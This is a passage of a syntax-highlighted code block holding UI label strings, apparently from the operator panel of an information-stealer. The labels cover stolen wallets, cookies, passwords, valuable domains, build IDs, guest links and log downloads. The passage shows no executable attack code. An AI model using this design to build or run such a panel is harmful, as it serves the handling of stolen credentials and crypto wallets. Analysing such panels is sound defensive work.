background-color: null;
font-style: inherit;">logsWithWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Logs with Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-217">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cookies`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-218">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwords</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Passwords`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-219">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Domains`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-220">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logsActivity</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Logs Activity`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-221">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">countries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Country Distribution`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-222">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">other</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Other`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-223">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No data available`</span></span>
<span id="cb28-224">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-225">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkCreator</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-226">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Guest Link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-227">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statsLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Stats Link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-228">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`BuildID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-229">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">getLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Get Link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-230">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">generating</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Generating...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-231">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholder</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Enter BuildID for {{type}} link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-232">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholderGuest</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`guest`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-233">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">placeholderStats</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`stats`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-234">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">yourLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Your {{linkType}} link`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-235">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">openLink</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Open Link`</span></span>
<span id="cb28-236">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-237">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statDisplay</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-238">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">goToRawJson</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Go to Raw JSON`</span></span>
<span id="cb28-239">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-240">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">guestMode</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-241">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenMissing</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Guest token is missing.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-242">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">errorFetchingData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Error fetching guest data:`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-243">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">linkNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Guest link not found or expired.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-244">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">accessDenied</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Access denied for this guest link.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-245">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">serverError</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Server error`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-246">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadFailed</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Failed to load guest data.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-247">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">tokenNotFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Guest token not found in URL.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-248">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildLabel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-249">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noStats</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No statistics data found for this view.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-250">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statsUnavailable</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Statistics data is unavailable.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-251">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">loadingData</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Loading data...`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-252">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noLogsFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No logs found for this guest view.`</span></span>
<span id="cb28-253">        }<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-254">        <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logs</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-255">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-256">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download only with Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-257">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadWithoutWallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download Without Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-258">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadOptions</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download Options`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-259">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-260">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">downloadSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download Selected`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-261">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete Selected`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-262">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cancel</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cancel`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-263">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">itemsSelected</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`{count} items selected`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-264">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">search</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Search`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-265">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">id</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-266">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-267">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-268">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">date</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Date`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-269">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">data</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Data`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-270">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">status</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Status`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-271">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">action</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Action`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-272">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-273">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">cookies</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Cookies`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-274">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passwords</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Passwords`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-275">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Domains`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-276">            <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">new</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`New`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-277">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Checked`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-278">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">download</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Download`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-279">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">noLogsFound</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`No logs found for these parameters.`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-280">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">walletsShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-281">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">passShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Pass`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-282">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domainsShort</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Domains`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-283">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">valuableDomains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Valuable Domains`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-284">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">isDup</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IsDup`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-285">            <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">searchModal</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> {</span>
<span id="cb28-286">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">command</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Command`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-287">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateStart</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Date start`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-288">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">dateEnd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Date end`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-289">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">timeStart</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Time start`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-290">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">timeEnd</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Time end`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-291">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">hour</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Hour`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-292">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">day</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Day`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-293">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">week</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Week`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-294">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">month</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Month`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-295">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">year</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Year`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-296">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">all</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`All`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-297">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">domains</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Domains`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-298">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">wallets</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Wallets`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-299">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">countries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Countries`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-300">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">deleteCountries</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Delete Countries`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-301">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">logId</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Log ID`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-302">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">buildTags</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Build Tags`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-303">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">statusAll</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Status (All)`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-304">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">unchecked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Unchecked`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-305">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">checked</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Checked`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-306">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">ip</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`IP`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-307">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">search</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">:</span> <span class="vs" style="color: #20794D;
background-color: null;
font-style: inherit;">`Search`</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb28-308">                <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">reset</span><span class="op" style="color: #5E5E5E;
background-color: null;
